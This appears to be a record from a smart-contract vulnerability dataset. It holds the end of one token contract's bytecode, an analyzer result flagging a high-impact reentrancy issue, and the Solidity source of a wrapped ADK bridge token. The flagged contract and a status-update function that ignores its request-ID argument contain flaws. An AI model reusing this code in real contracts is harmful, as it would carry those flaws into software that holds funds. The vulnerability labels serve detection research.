73ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0e176cc326111ac6e1547886504ea9bfeec08a7750e3c5e2f39dc5ee21a894864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,334 |
0x888888881f8af02398dc3fee2a243b66356717f8
|
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
contract ADKContract {
/*
This is the main wADK Contract (ERC20 Implementation): Ethereum wrapped AidosKuneen Token.
The purpose of this contract is to enable transfer of ADK Token from/to the ADK Mesh to/from the Ethereum Blockchain
For details see https://github.com/adkmaster/adk-ethereum-bridge
How it works (short version):
Transfers from Mesh to Ethereum (ADK to wADK):
ADK holders on the ADK Mesh transfer the amount of ADK they wish to convert to wADK (1:1 conversion) to the ADK Mesh address ADK_DEPOSIT_ADDRESS_LIVE. The signature part (=Message/Smart Data Section) of the + ADK transaction has to contain the encoded 'receiving' Ethereum Address (use functions USR_ETHAddrEncode
and USR_ETHAddrDecode to convert from ADK SmartData String to Ethereum Adress and vice versa)
Once the ADK transaction has been confirmed on the ADK Mesh, the issuance of wADK will be triggered by the Contract owner specified in mainMeshOwner. The original ADK will remain locked in the ADK_DEPOSIT_ADDRESS_LIVE (and previous ADK deposit addresses) until a request for a conversion transaction wADK-->ADK is triggered (see below).
Transfers from Ethereum (wADK) to Mesh (ADK):
wADK holders can request a transfer from the Ethereum Blockchain back to the Mesh (1:1 conversion) by calling the contract function "USR_transferToMesh". Registered requests will be executed periodically, with ADK to be issued from previously locked ADK, at which time a new public ADK_DEPOSIT_ADDRESS_LIVE will be generated as needed.
********************************************************************************************************************
DISCLAIMER: THE CROSS-CHAIN COMPONENT OF THIS CONTRACT IS **NOT** A TRUSTLESS BRIDGE, AS THAT WOULD REQUIRE ADK TO IMPLEMENT SMART CONTRACT CAPABILITIES. INSTEAD, THIS CONTRACT (the MESH-ETHEREUM Bridge Part) NEEDS TO BE OPERATED BY A TRUSTED PARTY, e.g. the Aidos Foundation (Milestone Server Operator) OR TRUSTED DELEGATE.
Note: THIS ONLY APPLIES TO THE TRANSFER FROM/TO THE MESH. ONCE ISSUED, wADK FOLLOW THE ERC20 STANDARD (TRUSTLESS TRANSACTIONS)
********************************************************************************************************************
Fur further details, step by step HOW-TOs, and latest updates please see https://github.com/adkmaster/adk-ethereum-bridge
*/
uint256 public totalSupply;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name; // Aidos Kuneen Wrapped ADK
uint8 public decimals; // 8
string public symbol; // ADK
address public mainMeshOwner; //the 'mesh owner', holds all token still inside the ADK Mesh (if not in circulation as wADK)
address public statusAddress; // is the request status admin, an address which can update user request stati.
/*
ADK_DEPOSIT_ADDRESS_LIVE holds the most recent ADK MESH DEPOSIT ADDRESS. THIS IS THE ADK ADDRESS THAT MUST BE USED WHEN SENDING ADK to wADK (Ethereum)
NOTE: THIS ADDRESS WILL CHANGE REGULARLY. ENSURE YOU ALWAYS USE THE LATEST ONE
*/
string public ADK_DEPOSIT_ADDRESS_LIVE;
/*
ADK_DEPOSIT_ADDRESS_PREVIOUS is the PREVIOUS live address. ADK Deposits to this address will still be credited, BUT: Do not use this address for any new deposits. The purpose of keeping this address active is solely to capture any pending transactions at the time of address change.
Note: Transfers to even older deposit addresses will still be ATTEMPTED to be credited by manually transferring them to a live address, but are at risk due to multi-spends (winternitz one-time signature).
Long story short: Always!! use the latest ADK_DEPOSIT_ADDRESS_LIVE ADK address when sending ADK
*/
string public ADK_DEPOSIT_ADDRESS_PREVIOUS;
uint256 public ADKDepositAddrCount; // Total number of historical ADK Mesh Contract deposit addresses
mapping (uint256 => string) public ADKDepositAddrHistory; // holds the history of all ADK Mesh deposit addresses
uint256 public requestID; // counter / unique request ID
mapping (uint256 => string) public requestStatus; // Can be used to provide feedback to users re. status of their ADK/wADK requests.
/*
minimumADKforXChainTransfer: Indicates the minimum ADK or mADK required to transfer cross-chain.
Note: value is in ADK Subunits, where 100000000 subADK = 1 ADK, i.e. 1.00000000 ADK
*/
uint256 public minimumADKforXChainTransfer;
// CONSTRUCTOR
constructor( // EIP20 Standard
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes (8 for ADK)
symbol = _tokenSymbol; // Set the symbol for display purposes
balances[msg.sender] = _initialAmount; // Give the mesh address all initial tokens
totalSupply = _initialAmount; // 2500000000000000 ADK in Mesh initially
mainMeshOwner = msg.sender; // the address representing the ADK Mesh
statusAddress = msg.sender; // initially also the owner
requestID = 0;
ADKDepositAddrCount = 0;
minimumADKforXChainTransfer = 10000000000; // initially 100 ADK = 10000000000 units
}
// ERC20 events
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// Standard ERC20 transfer Function
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
require(address(this) != _to); // prevent accidental send of tokens to the contract itself! RTFM people!
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
// Standard ERC20 transferFrom Function
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 vallowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && vallowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (vallowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
// Standard ERC20 approve Function
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
// Standard ERC20 balanceOf Function
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
// Standard ERC20 allowance Function
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// END DEFAULT ERC20 FUNCTIONS
// MODIFIERS
modifier onlyOwnerOrStatusAdmin {
require(msg.sender == mainMeshOwner || msg.sender == statusAddress);
_;
}
modifier onlyOwner {
require(msg.sender == mainMeshOwner);
_;
}
/// BEGIN CUSTOM ADK FEATURES
// ADM_setNewMinADKLimit: Sets the min-ADK X-Chain Transfer limit
function ADM_setNewMinADKLimit(uint256 _newLimit) public onlyOwner {
minimumADKforXChainTransfer = _newLimit;
}
// ADM_setNewStatusAdmin: Update the admin/Ethereum Address which is able to update user request status
function ADM_setNewStatusAdmin(address _newAdmin) public onlyOwner {
statusAddress = _newAdmin;
}
// ADM_setNewOwner: Change the owner/Ethereum Address which holds the Mesh Locked Token Balance
function ADM_setNewOwner(address _newOwner) public onlyOwner {
require(balances[_newOwner] == 0); // new mesh address cannot hold wADK already.
mainMeshOwner = _newOwner;
if ( balances[msg.sender] > 0 ) {
transfer( _newOwner , balances[msg.sender] );
}
}
// Custom EVENTS
event EvtTransferFromMesh(address _receiver, address _mesh_address, string _adk_address, uint256 _value);
event EvtTransferToMesh(address _sender, address _mesh_address, string _adk_address, uint256 _value, uint256 _requestID, uint256 _fees);
event EvtADKDepositAddressUpd(string ADK_DEPOSIT_ADDRESS_LIVE);
event EvtStatusChanged(uint256 _requestID, string _oldStatus, string _newStatus);
// Check if an address only contains 9A-Z, and is 81 or 90 char long
modifier requireValidADKAddress (string memory _adk_address) {
bool valid = true;
bytes memory adkBytes = bytes (_adk_address);
require(adkBytes.length == 81 || adkBytes.length == 90); //address with or without checksum
for (uint i = 0; i < adkBytes.length; i++) {
if (
! (
uint8(adkBytes[i]) == 57 //9
|| (uint8(adkBytes[i]) >= 65 && uint8(adkBytes[i]) <= 90) //A-Z
)
) valid = false;
}
require (valid);
_;
}
/*
USR_transferToMesh: Called by users to request a transfer from wADK (Ethereum ERC20) back to ADK (Mesh)
Note: This just calls the standard transfer function using the main Mesh Address, but logs also the target ADK address for processing.
Note2: This function is PAYABLE as it will be possible to attach a fee to the transfer request in order to expedite the ADK mesh-release
*/
function USR_transferToMesh(string memory _adk_address, uint256 _value) payable requireValidADKAddress (_adk_address) public {
requestID += 1;
require (_value >= minimumADKforXChainTransfer);
transfer( mainMeshOwner , _value );
requestStatus[requestID] = "RQ"; // transfer to mesh requested
emit EvtTransferToMesh(msg.sender, mainMeshOwner, _adk_address, _value, requestID, msg.value);
}
// ADM_transferFromMesh: function invoked by the ADK Mesh Milestone Server (or delegate) to unlock wADK and send wADK Token to the Ethereum address (specified by the user in the Smard Data field when depositing ADK for conversion)
function ADM_transferFromMesh(address _receiver, uint256 _value, string memory _from_adk_address) public {
// note _from_adk_address is for logging purpose only
if (msg.sender == mainMeshOwner) { // if owner sends, then just use transfer
transfer( _receiver , _value );
}
else {
transferFrom(mainMeshOwner, _receiver, _value); // otherwise use transferFrom (meaning the owner had to authorize the transfer first)
} // This will be used by custom helper contracts to pay multiple accounts etc
emit EvtTransferFromMesh( _receiver, msg.sender, _from_adk_address, _value);
}
// ADM_updateMeshDepositAddress: Sets a new live ADK Mesh Deposit address, to be used for transfers from the Mesh to wADK
function ADM_updateMeshDepositAddress(string memory _new_deposit_adk_address) public
onlyOwnerOrStatusAdmin requireValidADKAddress (_new_deposit_adk_address){
ADK_DEPOSIT_ADDRESS_PREVIOUS = ADK_DEPOSIT_ADDRESS_LIVE;
ADK_DEPOSIT_ADDRESS_LIVE = _new_deposit_adk_address;
ADKDepositAddrCount += 1;
ADKDepositAddrHistory[ADKDepositAddrCount] = _new_deposit_adk_address; // holds the history of all ADK Mesh deposit addresses
emit EvtADKDepositAddressUpd(ADK_DEPOSIT_ADDRESS_LIVE);
}
// ADM_updateRequestStatus: allows a status admin to update request stati (feedback to users)
function ADM_updateRequestStatus(uint256 _requestID, string memory _status) public onlyOwnerOrStatusAdmin {
string memory oldStatus = requestStatus[requestID];
requestStatus[requestID] = _status;
emit EvtStatusChanged(_requestID, oldStatus, _status);
}
/*
USR_ETHAddrEncode and USR_ETHAddrDecode:
Helper functions for en- and decoding of Eth Addresses as ADK compatible strings i.e. a 1:1 conversion from an Ethereum Address to an ADK compatible String, and vice versa
USR_ETHAddrEncode: ENCODES/CONVERTS ETHEREUM ADDRESS to an ADK compatible String using only 9A-Z
This is a PURE function (can be run without gas), and needs to be used by a user who wants to transfer ADK from the mesh to wADK. The 9AZ encoded eth address is included in the Mesh transaction to specify the target Ethereum Address that should receive the wADK
*/
function USR_ETHAddrEncode(bytes memory ethAddr) public pure returns(string memory) {
bytes memory alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ9";
require(ethAddr.length == 20); //20 bytes / an ethereum address
bytes memory str = new bytes(81);
for (uint i = 0; i < 40; i++) {
str[i*2+1] = alphabet[10+uint(uint8(ethAddr[i%20] & 0x0f))]; // add 10 to mix up the characters
str[i*2] = alphabet[uint(uint8(ethAddr[i%20] >> 4))];
}
str[80] = "9";
return string(str);
}
/*
USR_ETHAddrDecode: DECODES an ETHEREUM ADDRESS from an ADK compatible String only 9A-Z
(i.e. a 1:1 conversion from an ADK-Encoded Ethereum Address String to back an actual Ethereum Address)
This is a PURE function (can be run without gas), and will be used by the Mesh Milestone Node to specify the target Ethereum Address that should receive the wADK
*/
function USR_ETHAddrDecode(string memory adkString) public pure returns(address) {
bytes memory str = new bytes(20); //2*40 hex char plus leading 0x
bytes memory adkString_b = bytes(adkString);
for (uint i = 0; i < 20; i++) {
uint8 low = uint8(adkString_b[i*2+1])==57? 26 - 10 : uint8(adkString_b[i*2+1]) - 65 - 10;
uint8 high = uint8(adkString_b[i*2])==57? 26 : uint8(adkString_b[i*2]) - 65;
str[i] = bytes1(high * 16 + low); // Low Hex Char
}
return utilBytesToAddress(str);
}
// utilBytesToAddress: Helper function to convert 20 bytes to a properly formated Ethereum address
function utilBytesToAddress(bytes memory bys) private pure returns (address addr) {
require(bys.length == 20);
assembly {
addr := mload(add(bys,20))
}
}
// ETH FEE COLLECTION FUNCTIONS:
// The following functions are NOT related the ADK token, but are used to manage any ETH Fees,
// that were sent to the contract address. It will cater for future features such as expedited
// processing (i.e. if the default processing time is too slow)
event EvtReceivedGeneric(address, uint);
event EvtReceivedFee(address, uint, string);
// Fees sent to address where no _feeInfo string is required
receive() external payable {
emit EvtReceivedGeneric(msg.sender, msg.value);
}
// ADM_CollectFees: collect any ETH fees sent to the contract and forward to the specified address for processing
function ADM_CollectFees(address payable _collectToAddress, uint256 _value) onlyOwnerOrStatusAdmin public {
_collectToAddress.transfer(_value);
}
// USR_FeePayment: Allows users to pay fees for additional services, check main website/github for details
function USR_FeePayment(string memory _feeInfo) payable public {
emit EvtReceivedFee(msg.sender, msg.value, _feeInfo);
}
}
|
